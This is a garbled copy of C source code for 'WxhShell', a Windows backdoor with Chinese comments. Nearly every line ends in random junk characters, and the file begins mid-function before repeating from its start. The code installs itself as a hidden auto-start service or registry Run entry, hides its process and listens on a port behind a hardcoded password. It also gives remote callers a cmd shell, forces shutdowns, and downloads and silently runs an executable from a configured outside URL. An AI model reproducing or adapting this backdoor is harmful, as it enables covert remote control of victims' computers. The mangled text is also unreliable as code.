    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kx07Ium  
    if(Boot(SHUTDOWN)) #RP7?yGM,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Df0m  
    else { 89[OaT_hs  
    closesocket(wsh); g BV66L  
    ExitThread(0); =QW:},sp  
    }  S/Gy:GIf  
    break; leO..M  
    } ef]60OtP  
  // 获取shell .h\[7r  
  case 's': { d5 U+]g  
    CmdShell(wsh); v:u=.by99  
    closesocket(wsh); ThYHVJ[;  
    ExitThread(0); CChCxB  
    break; +t p@Tb  
  } 7_ao?}g  
  // 退出 hlBqcOpkKg  
  case 'x': { )}4xmf@g l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cfUG)-]P~  
    CloseIt(wsh); FWuk@t[<O  
    break; i`EG80\[Z  
    } qh/}/Sl;  
  // 离开 P~u~`eH*  
  case 'q': { )U:W 9%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <9aa@c57  
    closesocket(wsh); CYN")J8V  
    WSACleanup(); _rfGn,@BH  
    exit(1); 2qDVAq^@  
    break; ( 2i{8  
        } Y1L7sH 9  
  } P{o/ /M  
  } I] 0 D*z  
Ugv"A;l  
  // 提示信息 Lb%:u5X\D@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W3Dtt-)E  
} DeGcS1_?  
  } hV[=  
_sC kBDl-  
  return; "oo j;  
} 5)<}a&;{  
{%XDr,myd  
// shell模块句柄 Z)RV6@(  
int CmdShell(SOCKET sock) Ib0@,yS[  
{ c~{)vL0K  
STARTUPINFO si; 992cy2,Fb  
ZeroMemory(&si,sizeof(si)); WcKL=Z?(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KU)~p"0[6]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^fT?(y_= e  
PROCESS_INFORMATION ProcessInfo; *N3X"2X:  
char cmdline[]="cmd"; Xjnv8{X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _U`1BmTC2  
  return 0; UeN+}`!l  
} <#No t1R  
KPB^>,T2{  
// 自身启动模式 k)B]|,g7G0  
int StartFromService(void) ip2BvN&  
{ {igVuZ(>en  
typedef struct Evb %<`gd  
{ ewp&QH4  
  DWORD ExitStatus; Nt P=m @  
  DWORD PebBaseAddress; FOD_m&+  
  DWORD AffinityMask; ?;?$\ b=  
  DWORD BasePriority; [Z{0|NR  
  ULONG UniqueProcessId; qo5WZ be  
  ULONG InheritedFromUniqueProcessId; J G3#(DVc;  
}   PROCESS_BASIC_INFORMATION; Sz'JOBp  
ad'C&^o5  
PROCNTQSIP NtQueryInformationProcess; TaE&8;H#N  
~t.M!vk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7&{[Y^R]"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D+69U[P_A  
8^av&u$  
  HANDLE             hProcess; 5_= HtM[v]  
  PROCESS_BASIC_INFORMATION pbi; XonI   
V~_aM@q1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DXc3u^ L  
  if(NULL == hInst ) return 0; dMjAG7U  
qo62!q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M_EXA _  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J:JkX>n%k=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G$!JJ. )d  
zd^QG  
  if (!NtQueryInformationProcess) return 0; .m_-L Y-  
|)IS[:X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [SX>b"L  
  if(!hProcess) return 0; Hv.n O-c  
ecG,[1];  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3F|#nq  
{8Uk]   
  CloseHandle(hProcess); kPg| o3H  
s'^"s_j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y76UhtYH  
if(hProcess==NULL) return 0; NY9\a[[^[8  
Gtpl5gQH  
HMODULE hMod; i\z,)xp  
char procName[255]; .iXI oka  
unsigned long cbNeeded; ]Y@B= 5e/  
Ht!]%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S1oP_A[|  
yp.\KLq8)  
  CloseHandle(hProcess); UA]U_P$c  
Jx_BjkF  
if(strstr(procName,"services")) return 1; // 以服务启动 s6| S#  
y?*4SLy  
  return 0; // 注册表启动 ^i!6q9<{e  
} "~^ #{q  
-=CZhp  
// 主模块 tsvh/)V  
int StartWxhshell(LPSTR lpCmdLine) Uel^rfE`  
{ T\Ld)'fNv  
  SOCKET wsl; K,Z_lP_~Vw  
BOOL val=TRUE; 3T7,Y(<V  
  int port=0; ;R8pVj!1f  
  struct sockaddr_in door; "de3S bj@?  
ofIw7D*h  
  if(wscfg.ws_autoins) Install(); RNB ha&  
N% W298  
port=atoi(lpCmdLine); Uc<j{U ,  
S eTn]  
if(port<=0) port=wscfg.ws_port; XAF*jevr  
qH1&tW$  
  WSADATA data; E+xC1U 3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HbXYinG%  
p&|:,|jo5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /a:sWmxMT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sp'f>F2]  
  door.sin_family = AF_INET; d iGkwKj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jdWA)N}kDG  
  door.sin_port = htons(port); dZ"w2ho  
ROc)LCA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z.%K5vrO>  
closesocket(wsl); ^a+H`RD  
return 1; sj& j\<(  
} C`LHFqv  
lZ![?t}2`  
  if(listen(wsl,2) == INVALID_SOCKET) { c.;}e:)s  
closesocket(wsl); wz{]CQ7"  
return 1; mxQPOu  
} >^5U XQr  
  Wxhshell(wsl); Bc^ MZ~+ip  
  WSACleanup(); JNZ  O7s  
mM6X0aM  
return 0; ]= nM|e  
TCI%Ox|a  
} 1P[[PvkD6  
/3pvq%i  
// 以NT服务方式启动 jj$D6f/mOG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7g&"clRGO  
{ oPCtLz}z  
DWORD   status = 0; x'IYWo ]  
  DWORD   specificError = 0xfffffff; (_aM26s  
gJUawK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ndCHWhi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *[SOz)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P UJkC  
  serviceStatus.dwWin32ExitCode     = 0; 48 n5Y~YS  
  serviceStatus.dwServiceSpecificExitCode = 0; gc KXda(  
  serviceStatus.dwCheckPoint       = 0; >.X& v  
  serviceStatus.dwWaitHint       = 0; ?\7$63gBH  
!:<(p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #Z)8,N  
  if (hServiceStatusHandle==0) return; l k?@ =U~  
7)U08"  
status = GetLastError(); (o5^@aDr  
  if (status!=NO_ERROR) V0ig#?]  
{ @G&2Tbj[`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S(\<@S&  
    serviceStatus.dwCheckPoint       = 0; w#Di  
    serviceStatus.dwWaitHint       = 0; 44p?x8(z*  
    serviceStatus.dwWin32ExitCode     = status; 8,^2'dK34  
    serviceStatus.dwServiceSpecificExitCode = specificError; MaS"V`NI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $pLJtQ  
    return; n |e=7?H8  
  } +8#hi5e  
zOfMKrRG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H0P:t(<Gt  
  serviceStatus.dwCheckPoint       = 0; 7)Y0D@wg  
  serviceStatus.dwWaitHint       = 0; T}55ZpS C&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z;qgB7-M  
} ]8;2Oh   
I"5VkeIx  
// 处理NT服务事件,比如:启动、停止 ZqK1|/\ rh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {dF_ =`.  
{ p}:"@6  
switch(fdwControl) 2QN ~E  
{ s=BJ7iU_68  
case SERVICE_CONTROL_STOP: Y :-O/X  
  serviceStatus.dwWin32ExitCode = 0; Q%Fa1h:2&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bnYd19>  
  serviceStatus.dwCheckPoint   = 0; LZ 3PQL  
  serviceStatus.dwWaitHint     = 0; a58]#L~  
  { 5H!6 #pqM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LeT OVgjA|  
  } )@,zG(t5;  
  return; qwomc28O  
case SERVICE_CONTROL_PAUSE: >o_cf*nx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /nas~{B  
  break; r;C BA'Z  
case SERVICE_CONTROL_CONTINUE: W~i599!v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ctpg9 7  
  break; 1X,\:F.-+  
case SERVICE_CONTROL_INTERROGATE: 6Ex 16  
  break; f(Uo?_as  
}; ];63QJU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'n dXM   
} Fd(o8z8Q  
%~$coZY^  
// 标准应用程序主函数 kx.8VUoM V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sz'H{?"  
{ :5, k64'D  
E$1P H)  
// 获取操作系统版本 | ycN)zuE  
OsIsNt=GetOsVer(); H b}(.`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T}r}uw`  
7LrWS83  
  // 从命令行安装 )r|Pm-:A{  
  if(strpbrk(lpCmdLine,"iI")) Install(); cf{rK`Ff^  
IQNvhl.{  
  // 下载执行文件 cI/Puh^3  
if(wscfg.ws_downexe) { r' E|6_0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RJ0:O   
  WinExec(wscfg.ws_filenam,SW_HIDE); k,0lA#>  
} L_{gM`UFc  
e]k\dj;,^%  
if(!OsIsNt) { ,E3Ze*(U  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^EF VjGM  
HideProc(); fB"It~ p  
StartWxhshell(lpCmdLine); <]wQ;14;H  
} FesUE_L2$  
else <[Y@<  
  if(StartFromService()) 4E 32DG*  
  // 以服务方式启动 <C{uodFll  
  StartServiceCtrlDispatcher(DispatchTable); mF`%Z~}b  
else ';iLk[  
  // 普通方式启动 gH<A.5 xy  
  StartWxhshell(lpCmdLine); ^P~NE#p5  
eH' J  
return 0; 'eDV-cB  
} %RD%AliO}K  
]7:*A7/!.  
t=BXuFiu  
:9Mqwgk,;3  
=========================================== -*AUCns#  
}F=lG-x  
.h=H?Hr(V]  
m#a1N  
=}wqo6Bn|  
\VAm4   
" ee\xj$,  
{T'M4y=)i  
#include <stdio.h> L/*K4xQ  
#include <string.h> ^6i,PRScS  
#include <windows.h> cj@ar^=`K  
#include <winsock2.h> aYrbB#  
#include <winsvc.h> 6)j/"9oY  
#include <urlmon.h> qfS ]vc_N  
*)xjMTJ%  
#pragma comment (lib, "Ws2_32.lib") W0;MGBfb  
#pragma comment (lib, "urlmon.lib") (_Ky' .  
1!p7N$QR  
#define MAX_USER   100 // 最大客户端连接数 4KnrQ-D  
#define BUF_SOCK   200 // sock buffer JS#AoPWA  
#define KEY_BUFF   255 // 输入 buffer G/y;o3/[Z  
E;-*LT&{  
#define REBOOT     0   // 重启 s^zX9IVnp  
#define SHUTDOWN   1   // 关机 3Xl!Z^W  
+V;@)-   
#define DEF_PORT   5000 // 监听端口 }+dDGFk  
*9)yN[w  
#define REG_LEN     16   // 注册表键长度 >))K%\p   
#define SVC_LEN     80   // NT服务名长度 6#up BF:  
_]6n]koD,  
// 从dll定义API AoFxho  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {No Y`j5S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >`o;hTS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #2*6esP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q1^kU0M}  
v)s; wD  
// wxhshell配置信息 Gzkvj:(V  
struct WSCFG { cTu"Tu\Qw  
  int ws_port;         // 监听端口 wNQhg  
  char ws_passstr[REG_LEN]; // 口令 2e| m3  
  int ws_autoins;       // 安装标记, 1=yes 0=no X3Yi|dyn T  
  char ws_regname[REG_LEN]; // 注册表键名 'wd&O03&  
  char ws_svcname[REG_LEN]; // 服务名 `FHKQS5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?my2dd,|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )=5 ,S~IT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rPUk%S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .)[0yW&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" . l-eJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b<\aJb{2  
YLehY  
}; T))F r:  
2P2/]-6s#r  
// default Wxhshell configuration "fOxS\er  
struct WSCFG wscfg={DEF_PORT, 1^AG/w  
    "xuhuanlingzhe", DM=`hyf(v  
    1, (Q[(]dfc  
    "Wxhshell", A?4s+A@Eg  
    "Wxhshell", 1;"DIsz@d  
            "WxhShell Service", ),5|Ves;t[  
    "Wrsky Windows CmdShell Service", _ 0h)O  
    "Please Input Your Password: ", L.Tu7+M4  
  1, c$b~? Mx  
  "http://www.wrsky.com/wxhshell.exe", {N'<_%cu  
  "Wxhshell.exe" Yc2dq e>  
    }; ,HECHA_"  
a2SXg A  
// 消息定义模块 A# Ne07d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?4H>1Wkb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JN> h:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h)pYV>!d  
char *msg_ws_ext="\n\rExit."; kj/v$m  
char *msg_ws_end="\n\rQuit."; >bbvQb +j  
char *msg_ws_boot="\n\rReboot..."; P&5kO;ia  
char *msg_ws_poff="\n\rShutdown..."; Yx':~  
char *msg_ws_down="\n\rSave to "; nNpXkI:  
't n-o  
char *msg_ws_err="\n\rErr!"; UoOxGo  
char *msg_ws_ok="\n\rOK!"; <RJ+f-  
^k5#{?I  
char ExeFile[MAX_PATH]; gtRVXgI  
int nUser = 0; sM6o(=>  
HANDLE handles[MAX_USER]; ,u^%[ejH  
int OsIsNt; @r3,|tkrz  
y7U?nP ')+  
SERVICE_STATUS       serviceStatus; g[ O6WZ!F_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  4 `]  
\ fSo9$  
// 函数声明 tNC ;CP#R+  
int Install(void); ^7iP!-w/  
int Uninstall(void); bBgyLyg  
int DownloadFile(char *sURL, SOCKET wsh); {4YD_$4W  
int Boot(int flag); e {805^X}  
void HideProc(void); X3R:^ff\  
int GetOsVer(void); DyM<aT  
int Wxhshell(SOCKET wsl); h {VdW}g  
void TalkWithClient(void *cs); K8 Hj)$E61  
int CmdShell(SOCKET sock); #8r1<`']!  
int StartFromService(void); )(-aw,i K  
int StartWxhshell(LPSTR lpCmdLine); 1a_;(T  
gVI T6"/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @j'GcN vs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wj 15Og?  
m_h$fT8 _  
// 数据结构和表定义 Wiere0 2*  
SERVICE_TABLE_ENTRY DispatchTable[] = }S 6h1X  
{ PasVfC@  
{wscfg.ws_svcname, NTServiceMain}, C"R}_C|r)*  
{NULL, NULL} &x)nK  
}; >9,:i)m_  
K8{ef  
// 自我安装 ui<Mnm_T;d  
int Install(void) y1#*c$ O  
{ sGO+O$J  
  char svExeFile[MAX_PATH]; >oL| nwn  
  HKEY key; bA\(oD+:  
  strcpy(svExeFile,ExeFile); xwa@h}\#  
W<T Ui51Y  
// 如果是win9x系统,修改注册表设为自启动 (kL(:P/  
if(!OsIsNt) { rAh|r}R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,*Wp$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %hi]oz  
  RegCloseKey(key); &?Z<"+B8S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { to(lE2`.da  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q+{yv  
  RegCloseKey(key); [E)&dl_k  
  return 0; [ i8Ju  
    } 0.0r?T  
  } JQ9+kZ  
} .$a|&P=S  
else { 'RZ0,SK'  
cS(=wC  
// 如果是NT以上系统,安装为系统服务 ?D['>Rzu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @nOuFX4  
if (schSCManager!=0) 2[i(XG{/  
{ (&Mv!6]  
  SC_HANDLE schService = CreateService K)GpQ|4:<  
  ( ?^WX] SAl  
  schSCManager, 5V8`-yO9  
  wscfg.ws_svcname, cp2a @  
  wscfg.ws_svcdisp, *0x!C8*`Xe  
  SERVICE_ALL_ACCESS, =55V<VI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J+l#!gk$!  
  SERVICE_AUTO_START, &Xh=bM'/%m  
  SERVICE_ERROR_NORMAL, uTNy{RBD+  
  svExeFile, uoTc c|Kc  
  NULL, A9y@v{txN  
  NULL, ]sJjV A  
  NULL, Uj^Y\w-@Z  
  NULL, j+[oZfH  
  NULL 5h6-aQU[  
  ); T[kS;-x  
  if (schService!=0) &"DD&87N%  
  { {Zo*FZcaX  
  CloseServiceHandle(schService); B/dJj#  
  CloseServiceHandle(schSCManager); 9qm'qx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "r HPcp"m  
  strcat(svExeFile,wscfg.ws_svcname); $ZlzS`XF7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zQoJ8i>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R~BFZF>:  
  RegCloseKey(key); _7<G6q2(  
  return 0; {EJ+   
    } FTu<$`!1L  
  } &Z%'xAOGR  
  CloseServiceHandle(schSCManager); *1h@Jb34  
} 0u bf]Z  
} SK 5__Ix  
zvwv7JtB  
return 1; }ISR +./+  
} qRXHaQi@9  
F]cc?r312  
// 自我卸载 r o8C^d]  
int Uninstall(void) (@Eb+8Zd  
{ 6kO+E5;X  
  HKEY key; wlpcuz@  
0s6eF+bs  
if(!OsIsNt) { /4$ c-k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1w#vy1m J  
  RegDeleteValue(key,wscfg.ws_regname); Y4N)yMSl"  
  RegCloseKey(key); ekd;sEO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tG[v@-O  
  RegDeleteValue(key,wscfg.ws_regname); '![VA8  
  RegCloseKey(key); G0(A~Q"  
  return 0; e}iv vs2  
  } $]MOAj"LH  
} U04)XfO;]  
} !, {-q)'D  
else { -BH T'zq1S  
\~.elKw<U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6C!TXV'  
if (schSCManager!=0) 3935cxT1U  
{ +/r h8?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -^t&U] g  
  if (schService!=0) TIxlLOs  
  { |;R-q8  
  if(DeleteService(schService)!=0) { lHO.pN`2  
  CloseServiceHandle(schService); jV' tcFr4  
  CloseServiceHandle(schSCManager); ~R7{gCqdr  
  return 0; $E^*^({  
  } FYH^axpp  
  CloseServiceHandle(schService); ;Bat--K7+  
  } [Vj|fy4  
  CloseServiceHandle(schSCManager); SDO~g~NTp  
} +'a G{/J  
} mV}eMw  
L08" 8\  
return 1; n6{nx[%7N7  
} 5"w%  
xLw[ aYy4  
// 从指定url下载文件 eNrwkV^  
int DownloadFile(char *sURL, SOCKET wsh) c+jnQM'  
{ aZCxyoh+  
  HRESULT hr; D!D}mPi[  
char seps[]= "/"; 1~[GGl  
char *token; ~e=KBYDBu  
char *file; S9 @*g3  
char myURL[MAX_PATH]; 5K00z?kD2V  
char myFILE[MAX_PATH]; M] W5 %3do  
LP) IL~  
strcpy(myURL,sURL); QY$4D;M`g6  
  token=strtok(myURL,seps); ^ ?T,>ZI  
  while(token!=NULL) j2jUrl  
  { uKo4nXVtp  
    file=token; mWuhXY^Q  
  token=strtok(NULL,seps); D1EHT}  
  } t}gK)"g  
u HXb=U  
GetCurrentDirectory(MAX_PATH,myFILE); 6e;8\1^  
strcat(myFILE, "\\"); -;$jo-  
strcat(myFILE, file); ~HXZ-*  
  send(wsh,myFILE,strlen(myFILE),0); sVP2$?  
send(wsh,"...",3,0); CN7qqd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S.^x)5/,,T  
  if(hr==S_OK) uU1q?|4  
return 0; BF U#FE)s  
else >2tosxH M  
return 1;  3,Bm"'b6  
b2YOnV  
} P> ~Lx  
Ms A)Y  
// 系统电源模块 !De U8.%  
int Boot(int flag) @4jPaqa(  
{ [bd?$q i  
  HANDLE hToken; b<KKF'  
  TOKEN_PRIVILEGES tkp; osTin*T.  
Og kb N`  
  if(OsIsNt) { (Jk:Qz5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2_){4+,fu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6/Z 8/PL  
    tkp.PrivilegeCount = 1; ,@t#)HV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (ce"ED`1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v9Ez0 :)  
if(flag==REBOOT) { bM $WU?Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #4!6pMW(&7  
  return 0; 0WAOA6 _x  
} BF]+fs`  
else { UFUm-~x`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rE\.[mFI  
  return 0;  34~[dY  
} cS"PIelR  
  } {1W,-%  
  else { %$F\o1S  
if(flag==REBOOT) { sUsIu,1Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V _pKe~  
  return 0; 5@~5RNrq2  
} LU@+O12  
else { n:YA4t7S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DJHE6XJ   
  return 0; &r V  
} H$]FUv8  
} sB`zk[ R;  
fh e%5#3  
return 1; 2graLJ?9Z  
} 9_pOV%Qs  
~ph>?xuw  
// win9x进程隐藏模块 |C;*GeyS;J  
void HideProc(void) V$ac}A,!  
{ |HK/*B  
l # F.S5i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i }g xq  
  if ( hKernel != NULL ) qtH&]Suu,  
  { W=\dsdnu*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _TXV{<E6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); omA*XXUx=8  
    FreeLibrary(hKernel); ` U3  
  } F i/G, [q  
|O9=C`G_  
return; # |I@`#O  
} 8W[]#~77b  
enzQ}^  
// 获取操作系统版本 eztk$o  
int GetOsVer(void) 2,;t%GB  
{ !Cy2>6v7  
  OSVERSIONINFO winfo; *pD;AU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `^ _:  
  GetVersionEx(&winfo); @Kr)$F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D)sEAfvX  
  return 1; G!;[If :<e  
  else u .=;A#  
  return 0; J| '(;Ay4u  
} e d*AU,^@v  
X[~CLKH(  
// 客户端句柄模块 g[jZ A[[  
int Wxhshell(SOCKET wsl) ggTjd"|)  
{ ncdr/(`  
  SOCKET wsh; .am*d|&+G  
  struct sockaddr_in client; {|E7N"Qzg  
  DWORD myID; ,h._iO)I^  
p,8Z{mLn  
  while(nUser<MAX_USER) bN&da [K  
{ r?I(me,  
  int nSize=sizeof(client); nu<!/O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tp^'W7E  
  if(wsh==INVALID_SOCKET) return 1; U}0/V c26  
a&hM:n4P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z.^ )r  
if(handles[nUser]==0) k-e@G'  
  closesocket(wsh); ~QcKW<bz  
else G]1pGA;  
  nUser++; %nh'F6bNgv  
  } j[`?`RyU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -*M:OF"Zh  
P[K=']c  
  return 0; m^.C(}  
} %p60pn[(  
1F,_L}=o1s  
// 关闭 socket y21uvp'  
void CloseIt(SOCKET wsh) &zcj U+n  
{ Sh6Cw4 R  
closesocket(wsh); Vgn1I(Gj4  
nUser--; ;alFK*K6  
ExitThread(0); bVHi3=0{  
} |pR$' HO  
[;AcV73  
// 客户端请求句柄 }AqD0Qd2Hj  
void TalkWithClient(void *cs) AyO|9!F@A  
{ _[o^23Hj  
Ig KAD#2a  
  SOCKET wsh=(SOCKET)cs; h,'+w  
  char pwd[SVC_LEN]; 2QRn c"  
  char cmd[KEY_BUFF]; |=T<WU1$  
char chr[1]; q*nz4QTOE  
int i,j; W@dY:N}  
UJ$:5*S=u  
  while (nUser < MAX_USER) { odf^W  
,P@-DDJ  
if(wscfg.ws_passstr) { *$C[![   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yWtr,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u(Sz$eV  
  //ZeroMemory(pwd,KEY_BUFF); kG$8E  
      i=0; =+S3S{\CK  
  while(i<SVC_LEN) { .b oizW1+  
o~&!M_ED  
  // 设置超时 E57{*C  
  fd_set FdRead; 1<`7MN  
  struct timeval TimeOut; p\;)^O4  
  FD_ZERO(&FdRead); ~J{[]wi  
  FD_SET(wsh,&FdRead); WUS9zK  
  TimeOut.tv_sec=8; m@u`$rOh  
  TimeOut.tv_usec=0; E_1I|$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A]%t0>EL<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); arKmc@"X  
"|*Kf#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >o#wP  
  pwd=chr[0]; '\B"g@if  
  if(chr[0]==0xd || chr[0]==0xa) { ]G PJ(+5  
  pwd=0; !o':\hex6  
  break; lY*]&8/=  
  } O:tX0<6  
  i++; /.YAFH|i)"  
    } oImgj4C2L  
AWXpA1(  
  // 如果是非法用户,关闭 socket ?lN8~Ze  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M2Fj)w2   
} '#PqI)P  
wKS-O%?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gam#6 s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &MZy;Sq  
lN>C#e<]  
while(1) { `Uj?PcS_  
##FNq#F  
  ZeroMemory(cmd,KEY_BUFF); <Iyot]E  
DbU;jorwu  
      // 自动支持客户端 telnet标准   'F"Y?y:!  
  j=0; KI@    
  while(j<KEY_BUFF) { Jhy t)@7/,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6.h   
  cmd[j]=chr[0]; 7Ljj#!`lUp  
  if(chr[0]==0xa || chr[0]==0xd) { =/JF-#n/MA  
  cmd[j]=0; 6y,P4O*q  
  break; _pko]F|()  
  } {hRie+  
  j++; ! M&un*  
    } Wo9psv7.  
#t2UPLO~  
  // 下载文件 ]ZzG!7  
  if(strstr(cmd,"http://")) { q6JW@GT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xu94v{u3  
  if(DownloadFile(cmd,wsh)) DwY<qNWT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X0Z-1bs  
  else wEnuUC4j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ch Af=  
  } 4!~ .6cp3  
  else { &M3ES}6  
